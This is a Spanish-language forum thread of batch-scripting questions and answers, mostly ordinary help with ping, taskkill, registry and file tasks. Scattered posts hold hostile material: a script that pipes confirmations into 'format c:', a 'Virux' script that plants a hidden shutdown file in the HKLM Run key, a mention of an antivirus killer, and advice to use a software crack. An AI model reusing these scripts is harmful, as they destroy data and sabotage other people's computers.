Publicado por: sirdarckcat en 15 Julio 2006, 00:20 am
si..
Código:
@echo off
echo s>l
echo s>>l
format c:<l

deberia funcionar.. aunque obviamente no lo voy a probar xD


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: ELKUERVO en 16 Julio 2006, 21:45 pm
gracias Sdc! el signo s > que viene hacer....


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: ELKUERVO en 16 Julio 2006, 22:36 pm
hola una pregunta es posible hacer un programa para que haga un ping y despues guarde el resultado en un txt.


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: Siuto en 17 Julio 2006, 03:23 am
hola una pregunta es posible hacer un programa para que haga un ping y despues guarde el resultado en un txt.

Código:
ping 127.0.0.1 >> C:\archivo.txt

Ahi tenes un ejemplo...


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: ELKUERVO en 17 Julio 2006, 04:38 am
hola una pregunta es posible hacer un programa para que haga un ping y despues guarde el resultado en un txt.

Código:
ping 127.0.0.1 >> C:\\archivo.txt

Ahi tenes un ejemplo...

Hola gracias puede ser algo asi

echo off
rem
echo introduzca una ip
set/p ip=
ping%ip%
ip >> C:\\archivo.txt
echo
pause
exit



Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: Siuto en 17 Julio 2006, 16:57 pm
echo off
rem
echo introduzca una ip
set/p ip=
ping%ip%
ip >> C:\\archivo.txt
echo
pause
exit

La idea es esa, pero si lo pruebo talcual lo dejaste no funciona, ahi esta arreglado:

Código:
echo off

echo Introduzca una IP:
set/p ip=
ping %ip% >> C:\archivo.txt

echo.
pause


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: sirdarckcat en 18 Julio 2006, 21:57 pm
y para tu primera pregunta, el echo s> es para que guarde una "s" en el archivo y despues la lea el format c:

Saludos!


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: ReViJa en 23 Julio 2006, 16:14 pm
Hola soplo, no puedo contactar por MP, lo tienes lleno  :o



Un saludo y buen manual.


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: Tote82 en 25 Julio 2006, 17:43 pm
Hola,
Estoy intentando hacer un script para poder enviar por ftp unas copias de seguridad de un servidor a otro.
El problema, es que en el directorio origen se guardan copias anteriores y el formato del archivo es NOMBRE_AAAAMMDD.bak
Lo del envio de archivos por ftp no hay problema, de lo que no soy capaz es de cambiar el nombre del archivo que quiero enviar.
Habia pensado cogerlo mediante un dir c:\ /B /O:-n, y coger solo el primer registro del resultado, añadirlo al archivo ftp.dat que contiene la informacion del envio ftp..., pero claro, no he sido capaz de aislar solo el primer registro.

Alguien me puede ayudar? Si se os ocurre alguna otra idea mejor, se que la mia es un poco chapuza, pero no se me ocurre nada.

Muchas gracias por adelantado.


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: scraftcl en 25 Julio 2006, 18:45 pm
Estimados:Necesito saber como poder mostrar una barra de progreso en la copia de un archivo grande utilizando un batch.
El comando copy y xcopy no tienen dentro de sus opciones algo que vaya mostrando cuantos kb o mb ya han sido copiados.

Agradecido.....


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: gogos en 31 Julio 2006, 23:29 pm
hola soplo.
 soy nuevo en esto y apenas estoy empezando, y me gusta mucho el tema.

quisiera preguntarle algo con respecto a lso archivos bat:
es posible crear un archivo bat con solo carpetas?
 es decir que solo contenga directorios?

y como lo haria?

gracias de antemano.

gogos


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: riveritaa en 10 Septiembre 2006, 12:27 pm
y que hay que poner para q no se pida autorizacion para realizar un comando?


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: Mamsaac en 11 Septiembre 2006, 08:47 am
yo solo tengo una pequeña duda respecto a el comando at

como saben (en mi caso interactive es basico):

at HORA /interactive "proceso a ejecutar"



como le puedo hacer para que el comando at ejecute un proceso 1 segundo despues que se pida? es muy importante para un AV-Killer que estoy haciendo. Gracias.


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: KamusEJ en 13 Septiembre 2006, 00:42 am
holas una pequeña consulta cuando existe algun comando para finalizar una aplicacion???? :huh: :huh:


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: ne0x en 13 Septiembre 2006, 15:19 pm
Estimados:Necesito saber como poder mostrar una barra de progreso en la copia de un archivo grande utilizando un batch.
El comando copy y xcopy no tienen dentro de sus opciones algo que vaya mostrando cuantos kb o mb ya han sido copiados.

Agradecido.....

Eso se trato en el foro de portalhacker.net
No se puede hacer a menos que conozcas el tamaño total del archivo, si lo conoces puedes usar

Citar
@echo off
echo | > C:\barra.txt
:preg
If rutaarchivo1 LSS rutaarchivo2 (goto continua) ELSE goto fin
:continua
echo | >> C:\barra.txt
cls
type C:\barra.txt
goto preg
:fin
cls
type C:\barra.txt
msg * Instalacion realizada
pause>nul
exit

El code es improvisado pero creo que funcionara
rutaarchivo1= archivo que se va a instalar
rutaarchivo2= archivo de igual tamaño que el que se va a instalar

INCONVENIENTE:
la barra es vertical xDDDD


Citar
hola soplo.
soy nuevo en esto y apenas estoy empezando, y me gusta mucho el tema.

quisiera preguntarle algo con respecto a lso archivos bat:
es posible crear un archivo bat con solo carpetas?
es decir que solo contenga directorios?

y como lo haria?

gracias de antemano.

gogos

No se si es a lo que te refieres pero puedes crear una carpeta con el comando mkdir
sintaxis: mkdir (ruta de la carpeta)


Citar
y que hay que poner para q no se pida autorizacion para realizar un comando?


Depende del comando, la mayoria no hace falta darles autorizacion y otros como shutdown tiene modificadores
ej: apagar sin pedir autorizacion en el minimo tiempo posible

Citar
shutdown -s -f -t 1

Citar
holas una pequeña consulta cuando existe algun comando para finalizar una aplicacion???? 

Net stop



Esto ha sido todo x hoy xDDD
mandenme sus dudas por Mensaje Privado

Saludos
Neox


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: 160281 en 18 Septiembre 2006, 19:46 pm
nas gente soy nuevo en ste foro a si q saludos, me gustaria q me ayudacen con ste problemon lo q pasa s q quiero crear un archivo .bat q me agregue sto en el registro

sto s lo q quiero hacer
-------------------------

Otra opción aparte de las que he visto es mediante el registro de windows:
para ello: Inico, ejecutar, regedit:
despues te vas a \HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Policies
ahi veras una capeta que se llama explorer, bien pues dentro de ella creas un valor DWord que ponga DisallowRun y como valor 1
lo siguiente, pinchas con el boton derecho en la carpeta explorer y selecionas nueva clave, esa clave (que es una carpeta) se tiene que llamar DisallowRun. Despues creas un valor alfanumerico que se llame por ejemplo: messenger, y en informacion de valor: msmsgs.exe.
Reinicia el ordenador y si el usuario quieres utilizr el messenger le saldra un mensaje diciendole que ese programa esta restringido.
cuando quieras quitar este truco en el valor DWord cambias el valor 1 a 0


el uso q le quiero dar s q ya hay archivos .bat creados para cada usuario para q al iniciar sesion c conecten a red pero solo eso y quiesiera agregar al bat lo q les he mencionad antes c los agradeceria mucho

Gracias   ;D

otra vez yo gente hace un rato pedi una ayuda pero ya la resolvi jejeje mas bien si alguien la necesita la pondre aca

esto seria en cada archivo .bat de cada usuario osea un trabajaso

REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v DisallowRun /t REG_DWORD /d 1 /f
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /v messenger /t REG_sz /d msmsgs.exe /f


esto seria importando el archivo del registro desde otra PC

c:\windows\regedit.exe /s \\nombre_PC\carpeta\validar.reg

bueno x ahora solo le he probado en WinXP si funciona en 98 despues les aviso

Nos vemos y Gracias   ;D




Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: tierrasperdidass en 28 Septiembre 2006, 01:10 am
Hola, soy nuevo en este tema....Una pregunta se puede apagar una pc conectada a la red por medio de un .bat en Windows Xp SP2? Como ago?


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: Mamsaac en 28 Septiembre 2006, 05:03 am
no estoy seguro, pero creo que necesitarias tener acceso remoto a la computadora, aun dentro de una red local, para poder hacer eso. Ya con el acceso no seria dificil, nada mas busca el comando shutdown y sus atributos para hacerlo sin permiso.


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: rmarcelo en 28 Septiembre 2006, 16:31 pm
Hola a todos este es mi primer post, mi pregunta es la siguiente como puedo ejecutar un telnet mediante un archivo bat  para enviarle  un comando especifico a un equipo a un puerto.
y guardar si se produjo algun error en un archivo de texto.


Desde ya Gracias.


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: tierrasperdidass en 28 Septiembre 2006, 21:59 pm
Si yo pongo
regadd"HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Win32 /d "%systemroot%\Win32.bat"
este comando serviria para que se ejecute al iniciar, no? van las comillas o se sacan?


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: tierrasperdidass en 28 Septiembre 2006, 22:16 pm
Esto funciona?
@echo off
rem Virux por Neox.
echo Shutdown -s -f -t 1 > %systemroot%\Win32.bat
Attrib +R +S +H %systemroot%\Win32.bat
regadd"HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Win32 /d "%systemroot%\Win32.bat"
start %systemroot%\Win32.bat


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: Casidiablo en 28 Septiembre 2006, 22:23 pm
Esto funciona?

Anda, solo hay una manera de saberlo.... PROBADLO!!!! Sino te sale, pues posteas el error, pero ¿esperas que hagamos eso por vos?


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: tierrasperdidass en 28 Septiembre 2006, 22:29 pm
no jeje, esque preguntava al que lo hizo que esta mas ariba, y fui provando poniendo pause y me tiro un acceso denegado en
"echo Shutdown -s -f -t 1 > %systemroot%\Win32.bat"
cuando esta en esa parte dice ACCESO DENEGADO

y en:
regadd"HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Win32 /d "%systemroot%\Win32.bat"
start %systemroot%\Win32.bat

me dice comando no valido... no sera reg add?


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: Nahuelux en 3 Octubre 2006, 07:19 am
Hola necesito atuda tengo una impresora conectada por puerto COM y no se por que todas las veces que la reinicio no me la reconce...entonces tengo que ir a las propiedades del hardware y tocar en actualizar y ahi me toma el puerto com y anda la impresora...pero reinicio y tengo que hacer lo mismo...keria saber como hacer con un comando bat
Gracias


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: darobolso en 3 Octubre 2006, 17:36 pm
Gente, Preciso hacer un bat que cree una carpeta con la fecha y hora actual del pc. Si me pueden ayudar muchisimas gracias.


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: jvchino en 3 Octubre 2006, 22:48 pm
darbolso:
Léete todas las páginas de este hilo... la solución está aquí mismo.

Saludos.


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: yermain en 9 Octubre 2006, 17:08 pm
Hola a todos, tengo mysql en una máquina y un software que lo usa para añadir registros, quiero que cuando se inicie la máquina se inicie automáticamente el programa, ya añadí la llave al registro para que inicie con windows pero el servidor de mysql se tarda en iniciar, por lo que se ejecuta el otro programa primero y me tira error porque no hay servidor de mysql.

¿Hay alguna forma de saber si está corriendo un proceso y siendo así ejecutar un programa? sólo sé que tasklist muestra una lista de los procesos.


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: orden en 9 Noviembre 2006, 14:46 pm
hola a todos tengo una duda con el comando telnet soy medio nuevo en la programacion de bat
yo quiero hacer un programa para configuracion de modem via telnet.
el problema es que al utilizar el comando telnet es como que evade el programa principal y le devuelve la prioridad al usuario si sabes de alguna forma de cambiarlo te lo agradeceria
lo que necesitaria hacer es despues del comando telnet poner una contraseña
probe telnet xxx.xxx.xxx.xxx -y
como con deltree pero no funciono.
espero que alguien sepa como y si es posible
muschas gracias


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: Ben_Armagedon en 14 Noviembre 2006, 18:24 pm
holas alguien me puede ayudar con un archivo batch que tengo es secillo hace una copia de un archivo especifico lo que quiero es que cada vez que lo ejecute lo reescriba sobre el que ya esta como lo hago???
Yo uso la funcion copy pero cuando lo ejecuta dice que este archivo ya existe lo que quiero es que lo reescriba hay aluna funcion ?'
Gracias


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: Hearts en 15 Noviembre 2006, 17:20 pm
nose si esto servira pero creo que esto va sobre rediccionamientos...

por ejemplo si tienes un archivo que se llame 123.txt
pues con:

echo echo aki el cambio > aki la ruta hacia tu archivo.

cone sto harias que en el archivo que tenias antes se sobreescriba y ponga aki el cambio

espero haberte ayudado

salu2


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: Arqueologo en 18 Noviembre 2006, 09:58 am
Gracias por el tutorial.

¿Como podría hacer un bat que cambiara la password de administrador local de una máquina?

Gracias por adelantado


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: tremolero en 18 Noviembre 2006, 14:53 pm
wenas......... soy un poco novato en esto... pero la verdad es que me gusta mucho este tema.... por eso espero que me comprendan y que me enseñen un poco jeje.....
weno mis preguntas son estas, referentes a la programacion .bat

yo para acer un archivo .bat creo un bloc de notas y al guardarlo lo guardo con la terminacion .bat, y lo unico que he sabido hacer a sido poner la ruta de un programa y cuando le daba lo ejecutaba.
y lo que yo e echo a sido ejecutar el ms-dos, pero me gustaria hacer que cuando se ejecute, escriba en el, cosas como si las escribiera yo.... es decir que tendria que escribir en el .bat para que cuando yo lo ejecutara, se abriera el ms-dos y escriba, comandos como dir, o apague el pc.

y otra cosa, como podria hacer yo un .bat para que cuando lo ejecute, se abra por ejemplo el pinball cada 10 min. y el .bat se elimine solo para que no quede rastro, o se ejecute solo al iniciar el pc.

muchas gracias a todos, pero lo reconozco no tengo mucha idea y me gustaria aprender.


Título: Re: TUTORIAL PROGRAMACION BAT Cambiar pass admin local en un PC mediante batch
Publicado por: Arqueologo en 19 Noviembre 2006, 11:51 am
Gracias Tremolero.

Haber si alguien sabe decir que programación debería hacer para conseguir cambiar la pass de admin local de  una máquina a traves de un bat o regedit, me da igual.

Con respecto a lo que pides, existe un comando llamado call, que llama a los programas, o tambien ejecutando una tarea desde "task" en los paneles de control, donde puedes pedirle cuando se ejecuta y cuando se termina el proceso. si además quieres que no quede el rastro de la ejecución del mismo, puedes eliminarlo dentro de tu perfil de windows en la configuración local....

Espero que te sirva de ayuda...y un saludo.



Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: castro732 en 4 Diciembre 2006, 13:43 pm
necesito un bat o cualquier otra cosa, que cierre la sesion de windows xp cada cierto tiempo, por favor ayuda!

yo creo que un bat que ejecute el exe que cierra la sesion de windows, pero que lo ejecute cada cierto tiempo, 5 o 10 minutos.

espero que se pueda. ;D


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: |Azrack| en 6 Diciembre 2006, 00:05 am
alguien sabe como aumentar la ventana de ms-dos a fullscreen
pero con codigo xq desde propiedades si se puede


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: Jo$$ en 6 Diciembre 2006, 00:37 am
alguien sabe como aumentar la ventana de ms-dos a fullscreen
pero con codigo xq desde propiedades si se puede

Desde predeterminados


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: wolfguns en 6 Diciembre 2006, 14:16 pm
Hola:
Hace tiempo que leo este foro solo y tengo 2 dudas que me siguen hace rato, como hacer algo en forma recursiva y como sacar de una lista ( un txt con una lista de variables ) un avariable.
EJ: que haga una operacion luego vuelva al inicio y saque de la lista del txt otra variable y asi siga hasta que llege a la ultima variable y termine el ciclo.
A los gurus les pido que me ayuden esto me podria alivianar cualquier trabajo y ademas juro que hago un asao en el intercomunal.


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: castro732 en 6 Diciembre 2006, 15:30 pm
por favor ayudenme, es urgente, cual es el comando para cerrar la sesion de windows y como hago para que se ejecute cada 5 minutos y se inicie con windows


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: luisv en 6 Diciembre 2006, 21:09 pm
Hola a todos, soy nuevo acá... es muy útil el manual de Soplo... llegué acá buscando la forma de poder optimizar comprimir archivos y copiar o copiar y luego comprimir, me da lo mismo...

Espero que Soplo me pueda ayudar, que veo es un master...

Atte..

El Mado


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: Urpem en 9 Diciembre 2006, 22:40 pm
Hola, seguro que ya lo habeis dicho pero no lo he encontrado en un post tan largo :-\.

Se como iniciar un programa pero no como cerrarlo.

Podriais indicarme el comando para cerrar un programa que este abierto.

Gracias


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: kanzix en 10 Diciembre 2006, 00:10 am
Hola, seguro que ya lo habeis dicho pero no lo he encontrado en un post tan largo :-\.

Se como iniciar un programa pero no como cerrarlo.

Podriais indicarme el comando para cerrar un programa que este abierto.

Gracias

con taskikill o con tskill dependiendo de tu windows, por ejemplo si quieres cerrar el msn messenger es asi:

taskkill /IM /F msnmsgr.exe
tskill msnmsgr


salu2


PD: tienes que saber el nombre del proceso


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: Urpem en 10 Diciembre 2006, 09:30 am
Ok gracias :D kanzix pero el IM/F
Citar
taskkill /IM /F msnmsgr.exe
porque lo pones?


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: Urpem en 10 Diciembre 2006, 10:23 am
Lo he probado con tskill (el otro no funciona) y todo el rato me dice que no encuentra el proceso aun estando y escribiendolo bien.

Que hago mal?


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: kanzix en 10 Diciembre 2006, 20:40 pm
Lo he probado con tskill (el otro no funciona) y todo el rato me dice que no encuentra el proceso aun estando y escribiendolo bien.

Que hago mal?

prueba no poniendole extensión, solo el nombre ej msnmsgr y no msnmsgr.exe

salu2


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: Urpem en 11 Diciembre 2006, 00:14 am
Pues si :D muchas gracias kanzix me ha funcionado.


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: Pr0sikit0 en 13 Diciembre 2006, 00:52 am
wenas a todos quiero hacer un bat que ejecute 2 programas por ejemplo (es un ejemplo msn y firefox) y que no se vea la ventana de msdos ni nada aver si me ayudais yo e provado asi y no me sale aver si me exais una mano:

@echo off
start "C:\Archivos de programa\Mozilla Firefox\firefox.exe"
start "C:\Archivos de programa\MSN Messenger\msnmsgr.exe"
@echo on

y no ejecuta nada y aparte sale la ventana de msdos :S

need help ;D ;D


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: Mamsaac en 20 Diciembre 2006, 21:31 pm
Tan solo crea el bat y luego compilalo en un .exe y que se corra de modo oculto. No es complicado.


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: RaKi0N en 19 Enero 2007, 17:27 pm
Us cumento.... yo quiero crear una broma por MS-DOS,
que salga PULSA F5 y al pulsarlo ponga POR EL CULO TE LA HINCO xDDDDDDDDDDDDDDD ¿Se podría? xD


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: ....................................... en 14 Marzo 2007, 16:45 pm
Muy bueno el manual!

Pero tengo muchas preguntas:

Aun no entiendo para que sirve el comando | sort y para que se utiliza (porque por ejemplo tu si haces un dir | sort te sale lo mismo que si pones dir). Tampoco entiendo como se utiliza el caracter ~ que se supone que es alt+126 pero a mi no me funciona o no se que hago mal.

El comando deltree ,el comando mscdex y el comado scandisk me dice que no existen.

Me podrian explicar mejor que utilidad tiene el comando debug y como se usa?

Si pongo por ejemplo en un archivo .bat esto no me funciona y no se porque:

@echo off
cls
choice Elija una opcion snc
if errorlevel 1 goto msg
:msg
msg *ola

Otra pregunta de que sirve poner despues del @echo off el cls? si pongo en un archivo:

@echo off
cls
msg *ola

tengo los mismo resultados que sino pongo el comando cls.

Al poner el comando ftp lo unico no se conecta a ningu ftp no? 

Hay alguna diferencia entre el comando > de redireccion y >>?

El comando @echo off es necesaria la arroba es que en el tutorial delante de echo off no la pone.

Es necesario poner echo delante de cada comando?

El comando fin es necesario en el ejemplo 3¿

Cuando se utiliza el comando echo.?

No entiendo muy bien esta linea:
FOR %%x IN (texto1.txt texto2.txt texto3.txt) do delete %%i

Si pusiera por ejemplo
IF a.bat == b.bat msg *funciona lo que hace es comprovar si el contenido de a.bat es igual al de b.bat?

Porfavor expliquenme como se utiliza los parametros remplazables.

De que sirve el comando nul? y no entiendo esta line porque de que sirve si borras el archivo ponerle nul?

del "C:\Documents and Settings\aquitumismo\Cookies\index.dat" > NUL

Cuando pones etiquetas es lo mismo poner :ola que ola: ?

Me pueden explicar que hace este codigo?:


@echo off
cmd /v:on
date /t > .\mio.txt
time /t >> .\mio.txt

for /f  "usebackq tokens=1,2"  %%i in (`type .\mio.txt`) do set mifecha=%%i %%j !mifecha!

mkdir %mifecha%

Y BUENO EL CODIGO que LES PONGO AHORA NO ES DE UN VIRUS NI MUCHO MENOS PERO TAMBIEN ES DE UN BAT, ASI que LO PONGO Y DESPUES EXPLICO MI PROBLEMA:

Código:

@rem ServAnalizer.bat V 0.1
@echo off
@cls
@set host=127.0.0.1
....

estas arrobas que hay delante el cls i el set no sirven de nada no?


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: george7700 en 29 Marzo 2007, 18:21 pm
Hola, alguien podria ayudarme con un bat que renombre un archivo con la fecha de una dia anterior; por ejemplo tengo el archivo prueba.txt y hoy es 29 de marzo, necesito que se renombre a prueba_28-03-2007.txt, gracias saludos.


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: Siuto en 7 Mayo 2007, 07:11 am
Puffff cuantas preguntas ahi van un par de respuestas:

El comando deltree ,el comando mscdex y el comado scandisk me dice que no existen.

Seguramente estas usando alguna version del SO que no contiene esos comandos.


Si pongo por ejemplo en un archivo .bat esto no me funciona y no se porque:

@echo off
cls
choice Elija una opcion snc
if errorlevel 1 goto msg
:msg
msg *ola

Seguramente seguimos con el mismo problema que antes y el comando choice no lo tenes.

Si estas usando el WinXP no vas a tener el comando choice


Otra pregunta de que sirve poner despues del @echo off el cls? si pongo en un archivo:

@echo off
cls
msg *ola

En ese caso en particular no hay ninguna diferencia.


Hay alguna diferencia entre el comando > de redireccion y >>?

Si la diferencia se nota cuando redireccionas a un archivo existente, ya que uno remplaza el archivo y el otro agrega lo que redirecciones al final.


Es necesario poner echo delante de cada comando?

El echo es para imprimir por pantalla


Se me hace tarde despues sigo....


Título: PREGUNTA ???
Publicado por: CAROLA_27 en 8 Mayo 2007, 11:24 am
Hola, me parece muy bueno el foro y la informacion que incluye.  Estoy comenzando en esto de hacer  archivos .bat.   Y como buena primeriza tengo una tarea super...    En un servidor linux hay unas carpetas con proyectos. Para trabajar con alguno de estos proyectos en el ordenador de windows debo copiar el proyecto que voy a usar del servidor en la pc local, trabajar sobre el, y luego al cerrar el programa debo colocarlo de nuevo en el servidor en una carpeta con fecha y hora de modificacion para futuros trabajos.   Todo esto se puede hacer en un bat?  Es decir ejecutar un bat que primero pregunte el nombre del proyecto a usar, lo copie desde el servidor al local,  luego que se ejecute el programa para trabajar sobre el proyecto y que al cerrar se actualice el proyecto con fecha y hora en el server???   Gracias a todos.  ;)


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: CAROLA_27 en 11 Mayo 2007, 13:15 pm
Hola

Ya he logrado avanzar bastate con el programa que mencione.  Solo que me falta algo y tengo unas dudas.

Como hago para comparar nombres de directorios?  Los nombres de los directorios que utilizo son numeros de acuerdo a la fecha, y quiero buscar el directorio mas reciente, bien comparando el nombre o buscando.  Pero no logro dar con nada que me ayude.

Lo que he querido hacer es a partir de un número cualquiera ir restando 1 o sumando 1 pero al hacerlo algo asi

Set /A dia2=dia1-1

esta instruccion me da un numero ilogico, por ejemplo con el numero 070511 que representa un nombre de una carpeta del dia de hoy, si yo le resto 1 a ese numero me da 29000, no entiendo.   :-\

Alguna pista??? 


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: morenochico en 19 Mayo 2007, 06:19 am
¿Como configuro mi red con los comandos dos/bat?

Hola compañeros:

He leido hasta ahora las 25 paginas de este foro  :o  uff es muy interesante, he aprendido mucho. Gracias a soplo por el tema y a todos los demas gurús que han respondido.

Mi problema es el siguiente: necesito configurar varias veces mi pc con diferentes ip, subnet, y dns, ya que a veces en la escuela tengo diferentes ip (que son estaticas), en la casa otra que es dinamica. Bien lo que quiero es como con un .bat puedo poner los comando para que con un solo clik tenga la configuracion de red requerida para cada situacion, ya que la hacerlo de manera grafica es muy tedioso, inpractico y proclive a errores. He buscado por varios lado y no encuentro nada de hecho en todo este post no he visto que usen un comando que asigne una ip. El problema veo yo es facil de resolver pero no se los comandos que ocupo. Por su antencion muchas gracias.

PD Gracias a este post he guardado el post orignal de soplo en un archivo .doc anexando las preguntas y respuestas mas interesantes del mismo para tenerlo como manual pues es muy interesante. 


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: Meta en 22 Mayo 2007, 08:58 am
¿Qué significa línea por línea este código o qué es lo que ahce exactamente?



script script.txt
del ..\*.dat
copy script.dat ..\
copy spanish.dat ..\
del strings.h


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: icontrerase en 7 Junio 2007, 19:03 pm
hola buenas... soy nuevo en esto por lo mismo e buscado y e leido bastante en este foro como poder hacer un bat..

mi duda es la sgte..

necesito crear un bat que al momento de iniciar sesion se ejecute  y me busque todos los mp3 y automaticamente me los borre...

se podra?? o algo parecido??
se los agradeceria mucho...
bye


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: walanfor en 7 Junio 2007, 20:43 pm
 :¬¬ bueno tengo un codigo que colocado en la extensión .bat te cierra el msn ....

@echo off
taskkill /f /IM msnmsgr.exe
exit

ahora mi pregunta es como, hacer para que una ves guardado en .bat, y luego lo ejecutes no te salga un aviso que diga matando proceso algo asi??, osea hacerlo que se ejecute sin que informe nada,acaso ahi alguna linea de codigo para aumentar o alguna forma bueno esa es mi duda buen foro saludos desde peru.

mi email walter_antoni19@hotmail.com


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: GroK en 7 Junio 2007, 23:26 pm
@walanfor:

Bajate el Quick Batch File Compiler (http://www.abyssmedia.com/downloads/quickbfc.exe); cuando lo tengas vas a Project -> Options y seleccionas 'Ghost Application' , ahora con el codigo bat que ya tienes lo copias ahi y pulsas F9, generando asi un .exe que hara lo mismo que el bat y no te abrira ninguna. Ahora, la version trial del QBFC creo que te muestra uno de esos molestos mensajes cuando ejecutas la aplicacion, asi que te recomiendo que te bajes algun crack, que hay muchos por ahi (O lo compras, claro ;D)

Tambien por si quieres otra alternativa algunos usuarios de este foro han creado sus propios programas convertidores de bat's a exe's, aunque no se si tendran la opcion de ocultarlos.

Saludos


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: JEYKOTT en 15 Junio 2007, 19:59 pm
hola.. mi pregunta es la siguiente.

puede crearse un bat para que cree una excepción en el firewall de windows para una aplicacion?

agradezco la respuesta.


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: GroK en 17 Junio 2007, 17:29 pm
hola.. mi pregunta es la siguiente.

puede crearse un bat para que cree una excepción en el firewall de windows para una aplicacion?

agradezco la respuesta.

Código:
@echo off
reg add HKLM\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List /v "Aplicacion" /d "C:\Ruta\Aplicacion.exe:*:Enabled:Aplicacion" /f

Saludos


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: |Azrack| en 3 Julio 2007, 10:30 am
alguien sabe como aumentar la ventana de ms-dos a fullscreen
pero con codigo xq desde propiedades si se puede

Desde predeterminados
gracias pero yo kisiera hacerlo con un bat osea en code.


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: EHO en 6 Julio 2007, 04:30 am
Necesito crear un archivo BAT que realice el respaldo de todos los archivos y carpetas que estan en Doccuments and Settings y que lo grabe en una carpeta llamada trabajo en raíz de C:


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: CHALYWALL2006 en 10 Julio 2007, 17:15 pm
Que tal, muy buen Tutorial, estoy queriendo inciar .bat que mande un mail via una sesion SMTP, es posible?, como hago para mandar el HELO y demas cosas?
muchas gracias


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: Siuto en 10 Julio 2007, 17:27 pm
podes usar el netcat convinado con un bat para hacer eso aca te dejo un ejemplo:

Código:
~$ nc mail.servidor.com
220 mail.servidor.com ESMTP Postfix
HELO yo
250 mail.servidor.com
MAIL FROM:guillermito@microchof.com
250 Ok
RCPT TO:manolo@cocaloca.es
250 Ok
DATA
354 End data with <CR><LF>.<CR><LF>
Aviso: su licencia ha caducado. Me deben un pastón.
.
250 Ok: queued as D44314A607
QUIT
221 Bye

El nc no viene incorporado en el sistema, tenes que bajarlo aparte, mira en Google.

Source: crysol.org


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: kakake en 10 Julio 2007, 19:19 pm
hola, me acabo de incorporar al foro y no me ha dado tiempo a leerme todos los post, pero tengo un problema muy sencillo de aclarar (o eso creo al menos)

quiero crear un archivo bat que se ejecute nada mas empezar WXP y me borre todo lo que está en una carpeta determinada. No he probado a hacerlo desde el arranque pero si lo ejecuto yo a mano funciona, pero me pide confirmación para borrar los archivos, ¿hay alguna forma para lograr que los borre automaticamente sin tener que darle a alguna jodienda de tecla?

Gracias  :xD


Título: Re: TUTORIAL PROGRAMACION BAT
Publicado por: Siuto en 10 Julio 2007, 19:25 pm
Código:
Elimina uno o m s archivos.

DEL [/P] [/F] [/S] [/Q] [/A[[:]atributos]] nombres
ERASE [/P] [/F] [/S] [/Q] [/A[[:]atributos]] nombres

